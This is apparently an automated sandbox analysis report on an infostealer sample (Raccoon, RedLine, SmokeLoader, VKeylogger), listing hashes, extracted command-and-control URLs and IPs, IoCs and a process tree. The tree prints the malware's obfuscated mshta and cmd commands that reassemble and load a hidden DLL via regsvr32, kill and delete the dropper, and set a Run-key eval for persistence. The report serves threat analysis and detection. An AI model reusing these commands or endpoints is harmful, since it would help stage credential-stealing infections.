raccoon | dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600

Analysis

max time kernel
151s
max time network
144s
platform
windows10_x64
resource
win10-en-20211014
submitted
13-11-2021 21:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe
Size

315KB
MD5

b52c132e6000c854d16a83c40409977f
SHA1

c1d708eb3a35a3e0665d92c0a98ced9db2419923
SHA256

dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600
SHA512

c25f18574864afe84468a64a932df0aacdd3efe788f0ebda545153017c2af50ec75dfa64dbe683943e90ae48261c865cd35c24e16af37c0b2639798762ae2f48

Score

10^/10

raccoon redline smokeloader vkeylogger 675718a5f2ce6d3cacf6cb04a512f5637eae995f ddf183af4241e3172885cf1b2c4c1fb4ee03d05a imbest stay clean superstar backdoor collection discovery infostealer keylogger persistence spyware stealer suricata trojan

Malware Config

Extracted

Family

smokeloader

Version

2020

http://host-file-host6.com/

http://host-host-file8.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32

Extracted

Family

redline

185.159.80.90:38637

Extracted

Family

redline

Botnet

SuperStar

185.215.113.29:36224

Extracted

Family

raccoon

Version

1.8.3-hotfix

Botnet

ddf183af4241e3172885cf1b2c4c1fb4ee03d05a

Attributes

url4cnc
http://91.219.236.27/capibar

http://5.181.156.92/capibar

http://91.219.236.207/capibar

http://185.225.19.18/capibar

http://91.219.237.227/capibar

https://t.me/capibar

rc4.plain

Extracted

Family

raccoon

Version

1.8.3-hotfix

Botnet

675718a5f2ce6d3cacf6cb04a512f5637eae995f

Attributes

url4cnc
http://91.219.236.27/agrybirdsgamerept

http://5.181.156.92/agrybirdsgamerept

http://91.219.236.207/agrybirdsgamerept

http://185.225.19.18/agrybirdsgamerept

http://91.219.237.227/agrybirdsgamerept

http://185.163.47.176/agrybirdsgamerept

rc4.plain

Extracted

Family

redline

Botnet

imbest

45.153.186.153:56675

Extracted

Family

redline

Botnet

stay clean

95.168.174.42:42482

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 10 IoCs

resource	yara_rule
behavioral1/memory/600-148-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/600-149-0x0000000000418EEA-mapping.dmp	family_redline
behavioral1/memory/3024-160-0x0000000002330000-0x000000000234C000-memory.dmp	family_redline
behavioral1/memory/3024-162-0x00000000023B0000-0x00000000023CB000-memory.dmp	family_redline
behavioral1/memory/1892-166-0x0000000002B60000-0x0000000002C0E000-memory.dmp	family_redline
behavioral1/memory/3848-258-0x0000000004860000-0x000000000488D000-memory.dmp	family_redline
behavioral1/memory/3848-260-0x0000000004C90000-0x0000000004CBC000-memory.dmp	family_redline
behavioral1/memory/3184-274-0x0000000000400000-0x0000000000424000-memory.dmp	family_redline
behavioral1/memory/3184-275-0x0000000000418F5A-mapping.dmp	family_redline
behavioral1/memory/3184-284-0x0000000005590000-0x0000000005B96000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2100 created 364	2100	WerFault.exe	77

VKeylogger
A keylogger first seen in Nov 2020.
stealer keylogger vkeylogger

VKeylogger Payload 3 IoCs

resource	yara_rule
behavioral1/memory/3832-195-0x0000000000400000-0x000000000040F000-memory.dmp	family_vkeylogger
behavioral1/memory/3832-201-0x0000000000403500-mapping.dmp	family_vkeylogger
behavioral1/memory/3180-208-0x00000000028C0000-0x00000000028CF000-memory.dmp	family_vkeylogger

suricata: ET MALWARE Likely Zbot Generic Request to gate.php Dotted-Quad
suricata: ET MALWARE Likely Zbot Generic Request to gate.php Dotted-Quad
suricata
suricata: ET MALWARE Trojan Generic - POST To gate.php with no accept headers
suricata: ET MALWARE Trojan Generic - POST To gate.php with no accept headers
suricata
suricata: ET MALWARE Trojan Generic - POST To gate.php with no referer
suricata: ET MALWARE Trojan Generic - POST To gate.php with no referer
suricata
Downloads MZ/PE file

Executes dropped EXE 15 IoCs

pid	Process
3948	398A.exe
3944	3E3E.exe
1224	4053.exe
1892	4630.exe
396	398A.exe
364	4DA3.exe
600	3E3E.exe
3024	4630.exe
1380	61A9.exe
2120	6F08.exe
3200	kX5qSrTPrxDqSOf.exe
2668	CE6F.exe
3332	SIOFYL_.eXE
3848	E93B.exe
3184	kX5qSrTPrxDqSOf.exe

Deletes itself 1 IoCs

pid	Process
3040	Process not Found

Loads dropped DLL 1 IoCs

pid	Process
3568	regsvr32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\gr5wd = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\gtrhy = "C:\\Windows\\system32\\mshta.exe javascript:x=new%20ActiveXObject(\"wscript.shell\");v=x.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\SMSvcHost\\\\ComponentID\");eval(v);"	explorer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 2684 set thread context of 3748	2684	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe	68
PID 3948 set thread context of 396	3948	398A.exe	76
PID 3944 set thread context of 600	3944	3E3E.exe	75
PID 1892 set thread context of 3024	1892	4630.exe	78
PID 2120 set thread context of 3832	2120	6F08.exe	83
PID 3832 set thread context of 3180	3832	RegSvcs.exe	85
PID 3200 set thread context of 3184	3200	kX5qSrTPrxDqSOf.exe	107

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2100	364	WerFault.exe	77

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4053.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4053.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4053.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1064	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3748	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe
3748	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3040	Process not Found

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
3748	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe
1224	4053.exe
3832	RegSvcs.exe
3180	explorer.exe
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeRestorePrivilege	2100	WerFault.exe
Token: SeBackupPrivilege	2100	WerFault.exe
Token: SeDebugPrivilege	2100	WerFault.exe
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeDebugPrivilege	600	3E3E.exe
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeDebugPrivilege	1064	taskkill.exe
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3180	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3180	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2684 wrote to memory of 3748	2684	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe	68
PID 2684 wrote to memory of 3748	2684	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe	68
PID 2684 wrote to memory of 3748	2684	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe	68
PID 2684 wrote to memory of 3748	2684	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe	68
PID 2684 wrote to memory of 3748	2684	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe	68
PID 2684 wrote to memory of 3748	2684	dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe	68
PID 3040 wrote to memory of 3948	3040	Process not Found	70
PID 3040 wrote to memory of 3948	3040	Process not Found	70
PID 3040 wrote to memory of 3948	3040	Process not Found	70
PID 3040 wrote to memory of 3944	3040	Process not Found	71
PID 3040 wrote to memory of 3944	3040	Process not Found	71
PID 3040 wrote to memory of 3944	3040	Process not Found	71
PID 3040 wrote to memory of 1224	3040	Process not Found	73
PID 3040 wrote to memory of 1224	3040	Process not Found	73
PID 3040 wrote to memory of 1224	3040	Process not Found	73
PID 3040 wrote to memory of 1892	3040	Process not Found	74
PID 3040 wrote to memory of 1892	3040	Process not Found	74
PID 3040 wrote to memory of 1892	3040	Process not Found	74
PID 3944 wrote to memory of 600	3944	3E3E.exe	75
PID 3944 wrote to memory of 600	3944	3E3E.exe	75
PID 3944 wrote to memory of 600	3944	3E3E.exe	75
PID 3948 wrote to memory of 396	3948	398A.exe	76
PID 3948 wrote to memory of 396	3948	398A.exe	76
PID 3948 wrote to memory of 396	3948	398A.exe	76
PID 3948 wrote to memory of 396	3948	398A.exe	76
PID 3948 wrote to memory of 396	3948	398A.exe	76
PID 3948 wrote to memory of 396	3948	398A.exe	76
PID 3040 wrote to memory of 364	3040	Process not Found	77
PID 3040 wrote to memory of 364	3040	Process not Found	77
PID 3040 wrote to memory of 364	3040	Process not Found	77
PID 3944 wrote to memory of 600	3944	3E3E.exe	75
PID 3944 wrote to memory of 600	3944	3E3E.exe	75
PID 3944 wrote to memory of 600	3944	3E3E.exe	75
PID 3944 wrote to memory of 600	3944	3E3E.exe	75
PID 3944 wrote to memory of 600	3944	3E3E.exe	75
PID 1892 wrote to memory of 3024	1892	4630.exe	78
PID 1892 wrote to memory of 3024	1892	4630.exe	78
PID 1892 wrote to memory of 3024	1892	4630.exe	78
PID 1892 wrote to memory of 3024	1892	4630.exe	78
PID 1892 wrote to memory of 3024	1892	4630.exe	78
PID 1892 wrote to memory of 3024	1892	4630.exe	78
PID 1892 wrote to memory of 3024	1892	4630.exe	78
PID 1892 wrote to memory of 3024	1892	4630.exe	78
PID 1892 wrote to memory of 3024	1892	4630.exe	78
PID 3040 wrote to memory of 1380	3040	Process not Found	79
PID 3040 wrote to memory of 1380	3040	Process not Found	79
PID 3040 wrote to memory of 1380	3040	Process not Found	79
PID 3040 wrote to memory of 2120	3040	Process not Found	82
PID 3040 wrote to memory of 2120	3040	Process not Found	82
PID 3040 wrote to memory of 2120	3040	Process not Found	82
PID 2120 wrote to memory of 3832	2120	6F08.exe	83
PID 2120 wrote to memory of 3832	2120	6F08.exe	83
PID 2120 wrote to memory of 3832	2120	6F08.exe	83
PID 2120 wrote to memory of 3832	2120	6F08.exe	83
PID 2120 wrote to memory of 3832	2120	6F08.exe	83
PID 3832 wrote to memory of 3180	3832	RegSvcs.exe	85
PID 3832 wrote to memory of 3180	3832	RegSvcs.exe	85
PID 3832 wrote to memory of 3180	3832	RegSvcs.exe	85
PID 600 wrote to memory of 3200	600	3E3E.exe	86
PID 600 wrote to memory of 3200	600	3E3E.exe	86
PID 600 wrote to memory of 3200	600	3E3E.exe	86
PID 3040 wrote to memory of 2668	3040	Process not Found	87
PID 3040 wrote to memory of 2668	3040	Process not Found	87
PID 3040 wrote to memory of 2668	3040	Process not Found	87

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe
"C:\Users\Admin\AppData\Local\Temp\dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2684
- C:\Users\Admin\AppData\Local\Temp\dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe
  "C:\Users\Admin\AppData\Local\Temp\dcba7c36b83b569d84f0e71207ccffd26aa6b9d9befb00279887f761ac76f600.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:3748

C:\Users\Admin\AppData\Local\Temp\398A.exe
C:\Users\Admin\AppData\Local\Temp\398A.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Users\Admin\AppData\Local\Temp\398A.exe
  C:\Users\Admin\AppData\Local\Temp\398A.exe
  2⤵
  - Executes dropped EXE
  PID:396

C:\Users\Admin\AppData\Local\Temp\3E3E.exe
C:\Users\Admin\AppData\Local\Temp\3E3E.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3944
- C:\Users\Admin\AppData\Local\Temp\3E3E.exe
  C:\Users\Admin\AppData\Local\Temp\3E3E.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:600
- - C:\Users\Admin\AppData\Local\Temp\kX5qSrTPrxDqSOf.exe
    "C:\Users\Admin\AppData\Local\Temp\kX5qSrTPrxDqSOf.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:3200
  - - C:\Users\Admin\AppData\Local\Temp\kX5qSrTPrxDqSOf.exe
      "{path}"
      4⤵
      Executes dropped EXE
      PID:3184

C:\Users\Admin\AppData\Local\Temp\4053.exe
C:\Users\Admin\AppData\Local\Temp\4053.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1224

C:\Users\Admin\AppData\Local\Temp\4630.exe
C:\Users\Admin\AppData\Local\Temp\4630.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Users\Admin\AppData\Local\Temp\4630.exe
  C:\Users\Admin\AppData\Local\Temp\4630.exe
  2⤵
  - Executes dropped EXE
  PID:3024

C:\Users\Admin\AppData\Local\Temp\4DA3.exe
C:\Users\Admin\AppData\Local\Temp\4DA3.exe
1⤵
- Executes dropped EXE
PID:364
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 364 -s 880
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:2100

C:\Users\Admin\AppData\Local\Temp\61A9.exe
C:\Users\Admin\AppData\Local\Temp\61A9.exe
1⤵
- Executes dropped EXE
PID:1380

C:\Users\Admin\AppData\Local\Temp\6F08.exe
C:\Users\Admin\AppData\Local\Temp\6F08.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3832
- - C:\Windows\SysWOW64\explorer.exe
    "C:\Windows\SysWOW64\explorer.exe"
    3⤵
    - Adds Run key to start application
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:3180

C:\Users\Admin\AppData\Local\Temp\CE6F.exe
C:\Users\Admin\AppData\Local\Temp\CE6F.exe
1⤵
- Executes dropped EXE
PID:2668
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\CE6F.exe"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF """"== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\CE6F.exe"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))
  2⤵
  PID:3768
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\CE6F.exe" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\CE6F.exe" ) do taskkill -f /iM "%~NXS"
    3⤵
    PID:3188
  - - C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE
      ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk
      4⤵
      Executes dropped EXE
      PID:3332
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk ""== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))
        5⤵
        
        PID:3456
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF "/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk "== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ) do taskkill -f /iM "%~NXS"
        6⤵
        
        PID:1156
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbscrIPT: cLOSE(cREateObJeCt( "wscRiPt.SHELl"). Run ("cMd /r Echo | set /P = ""MZ"" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q * " ,0 ,tRuE ) )
        5⤵
        
        PID:2084
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r Echo | set /P = "MZ" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q *
        6⤵
        
        PID:1304
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Echo "
        7⤵
        
        PID:924
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>V_DXQ.No"
        7⤵
        
        PID:2120
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 ..\CxSXSHYX.ZBV -s
        7⤵
        Loads dropped DLL
        
        PID:3568
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill -f /iM "CE6F.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1064

C:\Users\Admin\AppData\Local\Temp\E93B.exe
C:\Users\Admin\AppData\Local\Temp\E93B.exe
1⤵
- Executes dropped EXE
PID:3848

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:3156

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/364-183-0x0000000000400000-0x0000000002B85000-memory.dmp

Filesize
39.5MB

Download
memory/364-182-0x0000000004800000-0x000000000488F000-memory.dmp

Filesize
572KB

Download
memory/600-203-0x00000000070D0000-0x00000000070D1000-memory.dmp

Filesize
4KB

Download
memory/600-202-0x00000000069D0000-0x00000000069D1000-memory.dmp

Filesize
4KB

Download
memory/600-165-0x0000000004F60000-0x0000000004F61000-memory.dmp

Filesize
4KB

Download
memory/600-194-0x0000000005EB0000-0x0000000005EB1000-memory.dmp

Filesize
4KB

Download
memory/600-157-0x0000000005030000-0x0000000005031000-memory.dmp

Filesize
4KB

Download
memory/600-191-0x00000000053D0000-0x00000000053D1000-memory.dmp

Filesize
4KB

Download
memory/600-155-0x0000000004F00000-0x0000000004F01000-memory.dmp

Filesize
4KB

Download
memory/600-153-0x00000000054F0000-0x00000000054F1000-memory.dmp

Filesize
4KB

Download
memory/600-173-0x0000000004EE0000-0x00000000054E6000-memory.dmp

Filesize
6.0MB

Download
memory/600-148-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/600-176-0x0000000004FC0000-0x0000000004FC1000-memory.dmp

Filesize
4KB

Download
memory/1224-139-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/1224-138-0x0000000000560000-0x0000000000569000-memory.dmp

Filesize
36KB

Download
memory/1224-136-0x0000000000550000-0x0000000000558000-memory.dmp

Filesize
32KB

Download
memory/1380-188-0x0000000002CE0000-0x0000000002E2A000-memory.dmp

Filesize
1.3MB

Download
memory/1380-189-0x0000000000400000-0x0000000002B85000-memory.dmp

Filesize
39.5MB

Download
memory/1892-166-0x0000000002B60000-0x0000000002C0E000-memory.dmp

Filesize
696KB

Download
memory/2668-221-0x0000000003010000-0x0000000003011000-memory.dmp

Filesize
4KB

Download
memory/2668-222-0x0000000003010000-0x0000000003011000-memory.dmp

Filesize
4KB

Download
memory/2684-115-0x00000000029D6000-0x00000000029E6000-memory.dmp

Filesize
64KB

Download
memory/2684-116-0x0000000002860000-0x0000000002869000-memory.dmp

Filesize
36KB

Download
memory/3024-168-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
